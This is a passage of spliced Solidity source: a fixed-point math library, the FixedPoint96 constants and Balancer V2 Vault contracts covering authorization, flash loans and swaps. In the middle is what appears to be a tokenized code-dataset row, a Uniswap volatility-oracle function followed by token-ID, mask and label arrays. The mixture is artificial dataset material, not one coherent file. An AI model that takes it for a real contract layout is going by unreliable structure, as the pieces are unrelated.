// Revert if y is zero to ensure we don't divide by zero below.
iszero(y),
// Equivalent to require(x == 0 || (x * baseUnit) / x == baseUnit)
iszero(or(iszero(x), eq(div(z, x), baseUnit)))
) {
revert(0, 0)
}
// We ensure y is not zero above, so there is never division by zero here.
z := div(z, y)
}
}
function fpow(
uint256 x,
uint256 n,
uint256 baseUnit
) internal pure returns (uint256 z) {
assembly {
switch x
case 0 {
switch n
case 0 {
z := baseUnit
}
default {
z := 0
}
}
default {
switch mod(n, 2)
case 0 {
z := baseUnit
}
default {
z := x
}
let half := div(baseUnit, 2)
for {
n := div(n, 2)
} n {
n := div(n, 2)
} {
let xx := mul(x, x)
if iszero(eq(div(xx, x), x)) {
revert(0, 0)
}
let xxRound := add(xx, half)
if lt(xxRound, xx) {
revert(0, 0)
}
x := div(xxRound, baseUnit)
if mod(n, 2) {
let zx := mul(z, x)
if and(iszero(iszero(x)), iszero(eq(div(zx, x), z))) {
revert(0, 0)
}
let zxRound := add(zx, half)
if lt(zxRound, zx) {
revert(0, 0)
}
z := div(zxRound, baseUnit)
}
}
}
}
}
/*///////////////////////////////////////////////////////////////
GENERAL NUMBER UTILITIES
//////////////////////////////////////////////////////////////*/
function sqrt(uint256 x) internal pure returns (uint256 result) {
if (x == 0) return 0;
result = 1;
uint256 xAux = x;
if (xAux >= 0x100000000000000000000000000000000) {
xAux >>= 128;
result <<= 64;
}
if (xAux >= 0x10000000000000000) {
xAux >>= 64;
result <<= 32;
}
if (xAux >= 0x100000000) {
xAux >>= 32;
result <<= 16;
}
if (xAux >= 0x10000) {
xAux >>= 16;
result <<= 8;
}
if (xAux >= 0x100) {
xAux >>= 8;
result <<= 4;
}
if (xAux >= 0x10) {
xAux >>= 4;
result <<= 2;
}
if (xAux >= 0x8) result <<= 1;
unchecked {
result = (result + x / result) >> 1;
result = (result + x / result) >> 1;
result = (result + x / result) >> 1;
result = (result + x / result) >> 1;
result = (result + x / result) >> 1;
result = (result + x / result) >> 1;
result = (result + x / result) >> 1;
uint256 roundedDownResult = x / result;
if (result > roundedDownResult) result = roundedDownResult;
}
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
return x < y ? x : y;
}
function max(uint256 x, uint256 y) internal pure returns (uint256 z) {
return x > y ? x : y;
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity ^0.8.10;
/// @title FixedPoint96
/// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format)
library FixedPoint96 {
uint8 internal constant RESOLUTION = 96;
uint256 internal constant Q96 = 0x1000000000000000000000000;
}
| @inheritdoc IVolatilityOracle Write to storage | function estimate24H(IUniswapV3Pool pool) external returns (uint256 IV) {
(uint160 sqrtPriceX96, int24 tick, , , , , ) = pool.slot0();
Volatility.FeeGrowthGlobals[25] storage feeGrowthGlobal = feeGrowthGlobals[pool];
Indices memory idxs = _loadIndicesAndSelectRead(pool, feeGrowthGlobal);
Volatility.FeeGrowthGlobals memory current;
(IV, current) = _estimate24H(pool, sqrtPriceX96, tick, feeGrowthGlobal[idxs.read]);
if (current.timestamp - 1 hours > feeGrowthGlobal[idxs.write].timestamp) {
idxs.write = (idxs.write + 1) % 25;
feeGrowthGlobals[pool][idxs.write] = current;
}
feeGrowthGlobalsIndices[pool] = idxs;
}
| 6,369,994 | [
1,
36,
10093,
467,
17431,
30139,
23601,
2598,
358,
2502,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
11108,
3247,
44,
12,
45,
984,
291,
91,
438,
58,
23,
2864,
2845,
13,
3903,
1135,
261,
11890,
5034,
21602,
13,
288,
203,
3639,
261,
11890,
16874,
5700,
5147,
60,
10525,
16,
509,
3247,
4024,
16,
269,
269,
269,
269,
262,
273,
2845,
18,
14194,
20,
5621,
203,
203,
3639,
26861,
30139,
18,
14667,
30948,
451,
19834,
63,
2947,
65,
2502,
14036,
30948,
451,
5160,
273,
14036,
30948,
451,
19834,
63,
6011,
15533,
203,
3639,
23046,
3778,
20039,
273,
389,
945,
8776,
1876,
3391,
1994,
12,
6011,
16,
14036,
30948,
451,
5160,
1769,
203,
203,
3639,
26861,
30139,
18,
14667,
30948,
451,
19834,
3778,
783,
31,
203,
3639,
261,
8188,
16,
783,
13,
273,
389,
23562,
3247,
44,
12,
6011,
16,
5700,
5147,
60,
10525,
16,
4024,
16,
14036,
30948,
451,
5160,
63,
24156,
18,
896,
19226,
203,
203,
3639,
309,
261,
2972,
18,
5508,
300,
404,
7507,
405,
14036,
30948,
451,
5160,
63,
24156,
18,
2626,
8009,
5508,
13,
288,
203,
5411,
20039,
18,
2626,
273,
261,
24156,
18,
2626,
397,
404,
13,
738,
6969,
31,
203,
5411,
14036,
30948,
451,
19834,
63,
6011,
6362,
24156,
18,
2626,
65,
273,
783,
31,
203,
3639,
289,
203,
3639,
14036,
30948,
451,
19834,
8776,
63,
6011,
65,
273,
20039,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "./interfaces/IAuthorizer.sol";
import "./interfaces/IWETH.sol";
import "./VaultAuthorization.sol";
import "./FlashLoans.sol";
import "./Swaps.sol";
/**
* @dev The `Vault` is Balancer V2's core contract. A single instance of it exists for the entire network, and it is the
* entity used to interact with Pools by Liquidity Providers who join and exit them, Traders who swap, and Asset
* Managers who withdraw and deposit tokens.
*
* The `Vault`'s source code is split among a number of sub-contracts, with the goal of improving readability and making
* understanding the system easier. Most sub-contracts have been marked as `abstract` to explicitly indicate that only
* the full `Vault` is meant to be deployed.
*
* Roughly speaking, these are the contents of each sub-contract:
*
* - `AssetManagers`: Pool token Asset Manager registry, and Asset Manager interactions.
* - `Fees`: set and compute protocol fees.
* - `FlashLoans`: flash loan transfers and fees.
* - `PoolBalances`: Pool joins and exits.
* - `PoolRegistry`: Pool registration, ID management, and basic queries.
* - `PoolTokens`: Pool token registration and registration, and balance queries.
* - `Swaps`: Pool swaps.
* - `UserBalance`: manage user balances (Internal Balance operations and external balance transfers)
* - `VaultAuthorization`: access control, relayers and signature validation.
*
* Additionally, the different Pool specializations are handled by the `GeneralPoolsBalance`,
* `MinimalSwapInfoPoolsBalance` and `TwoTokenPoolsBalance` sub-contracts, which in turn make use of the
* `BalanceAllocation` library.
*
* The most important goal of the `Vault` is to make token swaps use as little gas as possible. This is reflected in a
* multitude of design decisions, from minor things like the format used to store Pool IDs, to major features such as
* the different Pool specialization settings.
*
* Finally, the large number of tasks carried out by the Vault means its bytecode is very large, close to exceeding
* the contract size limit imposed by EIP 170 (https://eips.ethereum.org/EIPS/eip-170). Manual tuning of the source code
* was required to improve code generation and bring the bytecode size below this limit. This includes extensive
* utilization of `internal` functions (particularly inside modifiers), usage of named return arguments, dedicated
* storage access methods, dynamic revert reason generation, and usage of inline assembly, to name a few.
*/
contract Vault is VaultAuthorization, FlashLoans, Swaps {
constructor(
IAuthorizer authorizer,
IWETH weth,
uint256 pauseWindowDuration,
uint256 bufferPeriodDuration
) VaultAuthorization(authorizer) AssetHelpers(weth) TemporarilyPausable(pauseWindowDuration, bufferPeriodDuration) {
// solhint-disable-previous-line no-empty-blocks
}
function setPaused(bool paused) external override nonReentrant authenticate {
_setPaused(paused);
}
// solhint-disable-next-line func-name-mixedcase
function WETH() external view override returns (IWETH) {
return _WETH();
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
interface IAuthorizer {
/**
* @dev Returns true if `account` can perform the action described by `actionId` in the contract `where`.
*/
function canPerform(
bytes32 actionId,
address account,
address where
) external view returns (bool);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "../../lib/openzeppelin/IERC20.sol";
/**
* @dev Interface for the WETH token contract used internally for wrapping and unwrapping, to support
* sending and receiving ETH in joins, swaps, and internal balance deposits and withdrawals.
*/
interface IWETH is IERC20 {
function deposit() external payable;
function withdraw(uint256 amount) external;
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "../lib/helpers/BalancerErrors.sol";
import "../lib/helpers/Authentication.sol";
import "../lib/helpers/TemporarilyPausable.sol";
import "../lib/helpers/BalancerErrors.sol";
import "../lib/helpers/SignaturesValidator.sol";
import "../lib/openzeppelin/ReentrancyGuard.sol";
import "./interfaces/IVault.sol";
import "./interfaces/IAuthorizer.sol";
/**
* @dev Manages access control of Vault permissioned functions by relying on the Authorizer and signature validation.
*
* Additionally handles relayer access and approval.
*/
abstract contract VaultAuthorization is
IVault,
ReentrancyGuard,
Authentication,
SignaturesValidator,
TemporarilyPausable
{
// Ideally, we'd store the type hashes as immutable state variables to avoid computing the hash at runtime, but
// unfortunately immutable variables cannot be used in assembly, so we just keep the precomputed hashes instead.
// _JOIN_TYPE_HASH = keccak256("JoinPool(bytes calldata,address sender,uint256 nonce,uint256 deadline)");
bytes32 private constant _JOIN_TYPE_HASH = 0x3f7b71252bd19113ff48c19c6e004a9bcfcca320a0d74d58e85877cbd7dcae58;
// _EXIT_TYPE_HASH = keccak256("ExitPool(bytes calldata,address sender,uint256 nonce,uint256 deadline)");
bytes32 private constant _EXIT_TYPE_HASH = 0x8bbc57f66ea936902f50a71ce12b92c43f3c5340bb40c27c4e90ab84eeae3353;
// _SWAP_TYPE_HASH = keccak256("Swap(bytes calldata,address sender,uint256 nonce,uint256 deadline)");
bytes32 private constant _SWAP_TYPE_HASH = 0xe192dcbc143b1e244ad73b813fd3c097b832ad260a157340b4e5e5beda067abe;
// _BATCH_SWAP_TYPE_HASH = keccak256("BatchSwap(bytes calldata,address sender,uint256 nonce,uint256 deadline)");
bytes32 private constant _BATCH_SWAP_TYPE_HASH = 0x9bfc43a4d98313c6766986ffd7c916c7481566d9f224c6819af0a53388aced3a;
// _SET_RELAYER_TYPE_HASH =
// keccak256("SetRelayerApproval(bytes calldata,address sender,uint256 nonce,uint256 deadline)");
bytes32
private constant _SET_RELAYER_TYPE_HASH = 0xa3f865aa351e51cfeb40f5178d1564bb629fe9030b83caf6361d1baaf5b90b5a;
IAuthorizer private _authorizer;
mapping(address => mapping(address => bool)) private _approvedRelayers;
/**
* @dev Reverts unless `user` is the caller, or the caller is approved by the Authorizer to call this function (that
* is, it is a relayer for that function), and either:
* a) `user` approved the caller as a relayer (via `setRelayerApproval`), or
* b) a valid signature from them was appended to the calldata.
*
* Should only be applied to external functions.
*/
modifier authenticateFor(address user) {
_authenticateFor(user);
_;
}
constructor(IAuthorizer authorizer)
// The Vault is a singleton, so it simply uses its own address to disambiguate action identifiers.
Authentication(bytes32(uint256(address(this))))
SignaturesValidator("Balancer V2 Vault")
{
_setAuthorizer(authorizer);
}
function setAuthorizer(IAuthorizer newAuthorizer) external override nonReentrant authenticate {
_setAuthorizer(newAuthorizer);
}
function _setAuthorizer(IAuthorizer newAuthorizer) private {
emit AuthorizerChanged(newAuthorizer);
_authorizer = newAuthorizer;
}
function getAuthorizer() external view override returns (IAuthorizer) {
return _authorizer;
}
function setRelayerApproval(
address sender,
address relayer,
bool approved
) external override nonReentrant whenNotPaused authenticateFor(sender) {
_approvedRelayers[sender][relayer] = approved;
emit RelayerApprovalChanged(relayer, sender, approved);
}
function hasApprovedRelayer(address user, address relayer) external view override returns (bool) {
return _hasApprovedRelayer(user, relayer);
}
/**
* @dev Reverts unless `user` is the caller, or the caller is approved by the Authorizer to call the entry point
* function (that is, it is a relayer for that function) and either:
* a) `user` approved the caller as a relayer (via `setRelayerApproval`), or
* b) a valid signature from them was appended to the calldata.
*/
function _authenticateFor(address user) internal {
if (msg.sender != user) {
// In this context, 'permission to call a function' means 'being a relayer for a function'.
_authenticateCaller();
// Being a relayer is not sufficient: `user` must have also approved the caller either via
// `setRelayerApproval`, or by providing a signature appended to the calldata.
if (!_hasApprovedRelayer(user, msg.sender)) {
_validateSignature(user, Errors.USER_DOESNT_ALLOW_RELAYER);
}
}
}
/**
* @dev Returns true if `user` approved `relayer` to act as a relayer for them.
*/
function _hasApprovedRelayer(address user, address relayer) internal view returns (bool) {
return _approvedRelayers[user][relayer];
}
function _canPerform(bytes32 actionId, address user) internal view override returns (bool) {
// Access control is delegated to the Authorizer.
return _authorizer.canPerform(actionId, user, address(this));
}
function _typeHash() internal pure override returns (bytes32 hash) {
// This is a simple switch-case statement, trivially written in Solidity by chaining else-if statements, but the
// assembly implementation results in much denser bytecode.
// solhint-disable-next-line no-inline-assembly
assembly {
// The function selector is located at the first 4 bytes of calldata. We copy the first full calldata
// 256 word, and then perform a logical shift to the right, moving the selector to the least significant
// 4 bytes.
let selector := shr(224, calldataload(0))
// With the selector in the least significant 4 bytes, we can use 4 byte literals with leading zeros,
// resulting in dense bytecode (PUSH4 opcodes).
switch selector
case 0xb95cac28 {
hash := _JOIN_TYPE_HASH
}
case 0x8bdb3913 {
hash := _EXIT_TYPE_HASH
}
case 0x52bbbe29 {
hash := _SWAP_TYPE_HASH
}
case 0x945bcec9 {
hash := _BATCH_SWAP_TYPE_HASH
}
case 0xfa6e671d {
hash := _SET_RELAYER_TYPE_HASH
}
default {
hash := 0x0000000000000000000000000000000000000000000000000000000000000000
}
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
// This flash loan provider was based on the Aave protocol's open source
// implementation and terminology and interfaces are intentionally kept
// similar
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "../lib/helpers/BalancerErrors.sol";
import "../lib/openzeppelin/IERC20.sol";
import "../lib/openzeppelin/ReentrancyGuard.sol";
import "../lib/openzeppelin/SafeERC20.sol";
import "./Fees.sol";
import "./interfaces/IFlashLoanRecipient.sol";
/**
* @dev Handles Flash Loans through the Vault. Calls the `receiveFlashLoan` hook on the flash loan recipient
* contract, which implements the `IFlashLoanRecipient` interface.
*/
abstract contract FlashLoans is Fees, ReentrancyGuard, TemporarilyPausable {
using SafeERC20 for IERC20;
function flashLoan(
IFlashLoanRecipient recipient,
IERC20[] memory tokens,
uint256[] memory amounts,
bytes memory userData
) external override nonReentrant whenNotPaused {
InputHelpers.ensureInputLengthMatch(tokens.length, amounts.length);
uint256[] memory feeAmounts = new uint256[](tokens.length);
uint256[] memory preLoanBalances = new uint256[](tokens.length);
// Used to ensure `tokens` is sorted in ascending order, which ensures token uniqueness.
IERC20 previousToken = IERC20(0);
for (uint256 i = 0; i < tokens.length; ++i) {
IERC20 token = tokens[i];
uint256 amount = amounts[i];
_require(token > previousToken, token == IERC20(0) ? Errors.ZERO_TOKEN : Errors.UNSORTED_TOKENS);
previousToken = token;
preLoanBalances[i] = token.balanceOf(address(this));
feeAmounts[i] = _calculateFlashLoanFeeAmount(amount);
_require(preLoanBalances[i] >= amount, Errors.INSUFFICIENT_FLASH_LOAN_BALANCE);
token.safeTransfer(address(recipient), amount);
}
recipient.receiveFlashLoan(tokens, amounts, feeAmounts, userData);
for (uint256 i = 0; i < tokens.length; ++i) {
IERC20 token = tokens[i];
uint256 preLoanBalance = preLoanBalances[i];
// Checking for loan repayment first (without accounting for fees) makes for simpler debugging, and results
// in more accurate revert reasons if the flash loan protocol fee percentage is zero.
uint256 postLoanBalance = token.balanceOf(address(this));
_require(postLoanBalance >= preLoanBalance, Errors.INVALID_POST_LOAN_BALANCE);
// No need for checked arithmetic since we know the loan was fully repaid.
uint256 receivedFeeAmount = postLoanBalance - preLoanBalance;
_require(receivedFeeAmount >= feeAmounts[i], Errors.INSUFFICIENT_FLASH_LOAN_FEE_AMOUNT);
_payFeeAmount(token, receivedFeeAmount);
emit FlashLoan(recipient, token, amounts[i], receivedFeeAmount);
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "../lib/math/Math.sol";
import "../lib/helpers/BalancerErrors.sol";
import "../lib/helpers/InputHelpers.sol";
import "../lib/openzeppelin/EnumerableMap.sol";
import "../lib/openzeppelin/EnumerableSet.sol";
import "../lib/openzeppelin/IERC20.sol";
import "../lib/openzeppelin/ReentrancyGuard.sol";
import "../lib/openzeppelin/SafeCast.sol";
import "../lib/openzeppelin/SafeERC20.sol";
import "./PoolBalances.sol";
import "./interfaces/IPoolSwapStructs.sol";
import "./interfaces/IGeneralPool.sol";
import "./interfaces/IMinimalSwapInfoPool.sol";
import "./balances/BalanceAllocation.sol";
/**
* Implements the Vault's high-level swap functionality.
*
* Users can swap tokens with Pools by calling the `swap` and `batchSwap` functions. They need not trust the Pool
* contracts to do this: all security checks are made by the Vault.
*
* The `swap` function executes a single swap, while `batchSwap` can perform multiple swaps in sequence.
* In each individual swap, tokens of one kind are sent from the sender to the Pool (this is the 'token in'),
* and tokens of another kind are sent from the Pool to the recipient in exchange (this is the 'token out').
* More complex swaps, such as one 'token in' to multiple tokens out can be achieved by batching together
* individual swaps.
*/
abstract contract Swaps is ReentrancyGuard, PoolBalances {
using SafeERC20 for IERC20;
using EnumerableSet for EnumerableSet.AddressSet;
using EnumerableMap for EnumerableMap.IERC20ToBytes32Map;
using Math for int256;
using Math for uint256;
using SafeCast for uint256;
using BalanceAllocation for bytes32;
function swap(
SingleSwap memory singleSwap,
FundManagement memory funds,
uint256 limit,
uint256 deadline
)
external
payable
override
nonReentrant
whenNotPaused
authenticateFor(funds.sender)
returns (uint256 amountCalculated)
{
// The deadline is timestamp-based: it should not be relied upon for sub-minute accuracy.
// solhint-disable-next-line not-rely-on-time
_require(block.timestamp <= deadline, Errors.SWAP_DEADLINE);
// This revert reason is for consistency with `batchSwap`: an equivalent `swap` performed using that function
// would result in this error.
_require(singleSwap.amount > 0, Errors.UNKNOWN_AMOUNT_IN_FIRST_SWAP);
IERC20 tokenIn = _translateToIERC20(singleSwap.assetIn);
IERC20 tokenOut = _translateToIERC20(singleSwap.assetOut);
_require(tokenIn != tokenOut, Errors.CANNOT_SWAP_SAME_TOKEN);
// Initializing each struct field one-by-one uses less gas than setting all at once.
IPoolSwapStructs.SwapRequest memory poolRequest;
poolRequest.poolId = singleSwap.poolId;
poolRequest.kind = singleSwap.kind;
poolRequest.tokenIn = tokenIn;
poolRequest.tokenOut = tokenOut;
poolRequest.amount = singleSwap.amount;
poolRequest.userData = singleSwap.userData;
poolRequest.from = funds.sender;
poolRequest.to = funds.recipient;
// The lastChangeBlock field is left uninitialized.
uint256 amountIn;
uint256 amountOut;
(amountCalculated, amountIn, amountOut) = _swapWithPool(poolRequest);
_require(singleSwap.kind == SwapKind.GIVEN_IN ? amountOut >= limit : amountIn <= limit, Errors.SWAP_LIMIT);
_receiveAsset(singleSwap.assetIn, amountIn, funds.sender, funds.fromInternalBalance);
_sendAsset(singleSwap.assetOut, amountOut, funds.recipient, funds.toInternalBalance);
// If the asset in is ETH, then `amountIn` ETH was wrapped into WETH.
_handleRemainingEth(_isETH(singleSwap.assetIn) ? amountIn : 0);
}
function batchSwap(
SwapKind kind,
BatchSwapStep[] memory swaps,
IAsset[] memory assets,
FundManagement memory funds,
int256[] memory limits,
uint256 deadline
)
external
payable
override
nonReentrant
whenNotPaused
authenticateFor(funds.sender)
returns (int256[] memory assetDeltas)
{
// The deadline is timestamp-based: it should not be relied upon for sub-minute accuracy.
// solhint-disable-next-line not-rely-on-time
_require(block.timestamp <= deadline, Errors.SWAP_DEADLINE);
InputHelpers.ensureInputLengthMatch(assets.length, limits.length);
// Perform the swaps, updating the Pool token balances and computing the net Vault asset deltas.
assetDeltas = _swapWithPools(swaps, assets, funds, kind);
// Process asset deltas, by either transferring assets from the sender (for positive deltas) or to the recipient
// (for negative deltas).
uint256 wrappedEth = 0;
for (uint256 i = 0; i < assets.length; ++i) {
IAsset asset = assets[i];
int256 delta = assetDeltas[i];
_require(delta <= limits[i], Errors.SWAP_LIMIT);
if (delta > 0) {
uint256 toReceive = uint256(delta);
_receiveAsset(asset, toReceive, funds.sender, funds.fromInternalBalance);
if (_isETH(asset)) {
wrappedEth = wrappedEth.add(toReceive);
}
} else if (delta < 0) {
uint256 toSend = uint256(-delta);
_sendAsset(asset, toSend, funds.recipient, funds.toInternalBalance);
}
}
// Handle any used and remaining ETH.
_handleRemainingEth(wrappedEth);
}
// For `_swapWithPools` to handle both 'given in' and 'given out' swaps, it internally tracks the 'given' amount
// (supplied by the caller), and the 'calculated' amount (returned by the Pool in response to the swap request).
/**
* @dev Given the two swap tokens and the swap kind, returns which one is the 'given' token (the token whose
* amount is supplied by the caller).
*/
function _tokenGiven(
SwapKind kind,
IERC20 tokenIn,
IERC20 tokenOut
) private pure returns (IERC20) {
return kind == SwapKind.GIVEN_IN ? tokenIn : tokenOut;
}
/**
* @dev Given the two swap tokens and the swap kind, returns which one is the 'calculated' token (the token whose
* amount is calculated by the Pool).
*/
function _tokenCalculated(
SwapKind kind,
IERC20 tokenIn,
IERC20 tokenOut
) private pure returns (IERC20) {
return kind == SwapKind.GIVEN_IN ? tokenOut : tokenIn;
}
/**
* @dev Returns an ordered pair (amountIn, amountOut) given the 'given' and 'calculated' amounts, and the swap kind.
*/
function _getAmounts(
SwapKind kind,
uint256 amountGiven,
uint256 amountCalculated
) private pure returns (uint256 amountIn, uint256 amountOut) {
if (kind == SwapKind.GIVEN_IN) {
(amountIn, amountOut) = (amountGiven, amountCalculated);
} else {
// SwapKind.GIVEN_OUT
(amountIn, amountOut) = (amountCalculated, amountGiven);
}
}
/**
* @dev Performs all `swaps`, calling swap hooks on the Pool contracts and updating their balances. Does not cause
* any transfer of tokens - instead it returns the net Vault token deltas: positive if the Vault should receive
* tokens, and negative if it should send them.
*/
function _swapWithPools(
BatchSwapStep[] memory swaps,
IAsset[] memory assets,
FundManagement memory funds,
SwapKind kind
) private returns (int256[] memory assetDeltas) {
assetDeltas = new int256[](assets.length);
// These variables could be declared inside the loop, but that causes the compiler to allocate memory on each
// loop iteration, increasing gas costs.
BatchSwapStep memory batchSwapStep;
IPoolSwapStructs.SwapRequest memory poolRequest;
// These store data about the previous swap here to implement multihop logic across swaps.
IERC20 previousTokenCalculated;
uint256 previousAmountCalculated;
for (uint256 i = 0; i < swaps.length; ++i) {
batchSwapStep = swaps[i];
bool withinBounds = batchSwapStep.assetInIndex < assets.length &&
batchSwapStep.assetOutIndex < assets.length;
_require(withinBounds, Errors.OUT_OF_BOUNDS);
IERC20 tokenIn = _translateToIERC20(assets[batchSwapStep.assetInIndex]);
IERC20 tokenOut = _translateToIERC20(assets[batchSwapStep.assetOutIndex]);
_require(tokenIn != tokenOut, Errors.CANNOT_SWAP_SAME_TOKEN);
// Sentinel value for multihop logic
if (batchSwapStep.amount == 0) {
// When the amount given is zero, we use the calculated amount for the previous swap, as long as the
// current swap's given token is the previous calculated token. This makes it possible to swap a
// given amount of token A for token B, and then use the resulting token B amount to swap for token C.
_require(i > 0, Errors.UNKNOWN_AMOUNT_IN_FIRST_SWAP);
bool usingPreviousToken = previousTokenCalculated == _tokenGiven(kind, tokenIn, tokenOut);
_require(usingPreviousToken, Errors.MALCONSTRUCTED_MULTIHOP_SWAP);
batchSwapStep.amount = previousAmountCalculated;
}
// Initializing each struct field one-by-one uses less gas than setting all at once
poolRequest.poolId = batchSwapStep.poolId;
poolRequest.kind = kind;
poolRequest.tokenIn = tokenIn;
poolRequest.tokenOut = tokenOut;
poolRequest.amount = batchSwapStep.amount;
poolRequest.userData = batchSwapStep.userData;
poolRequest.from = funds.sender;
poolRequest.to = funds.recipient;
// The lastChangeBlock field is left uninitialized
uint256 amountIn;
uint256 amountOut;
(previousAmountCalculated, amountIn, amountOut) = _swapWithPool(poolRequest);
previousTokenCalculated = _tokenCalculated(kind, tokenIn, tokenOut);
// Accumulate Vault deltas across swaps
assetDeltas[batchSwapStep.assetInIndex] = assetDeltas[batchSwapStep.assetInIndex].add(amountIn.toInt256());
assetDeltas[batchSwapStep.assetOutIndex] = assetDeltas[batchSwapStep.assetOutIndex].sub(
amountOut.toInt256()
);
}
}
/**
* @dev Performs a swap according to the parameters specified in `request`, calling the Pool's contract hook and
* updating the Pool's balance.
*
* Returns the amount of tokens going into or out of the Vault as a result of this swap, depending on the swap kind.
*/
function _swapWithPool(IPoolSwapStructs.SwapRequest memory request)
private
returns (
uint256 amountCalculated,
uint256 amountIn,
uint256 amountOut
)
{
// Get the calculated amount from the Pool and update its balances
address pool = _getPoolAddress(request.poolId);
PoolSpecialization specialization = _getPoolSpecialization(request.poolId);
if (specialization == PoolSpecialization.TWO_TOKEN) {
amountCalculated = _processTwoTokenPoolSwapRequest(request, IMinimalSwapInfoPool(pool));
} else if (specialization == PoolSpecialization.MINIMAL_SWAP_INFO) {
amountCalculated = _processMinimalSwapInfoPoolSwapRequest(request, IMinimalSwapInfoPool(pool));
} else {
// PoolSpecialization.GENERAL
amountCalculated = _processGeneralPoolSwapRequest(request, IGeneralPool(pool));
}
(amountIn, amountOut) = _getAmounts(request.kind, request.amount, amountCalculated);
emit Swap(request.poolId, request.tokenIn, request.tokenOut, amountIn, amountOut);
}
function _processTwoTokenPoolSwapRequest(IPoolSwapStructs.SwapRequest memory request, IMinimalSwapInfoPool pool)
private
returns (uint256 amountCalculated)
{
// For gas efficiency reasons, this function uses low-level knowledge of how Two Token Pool balances are
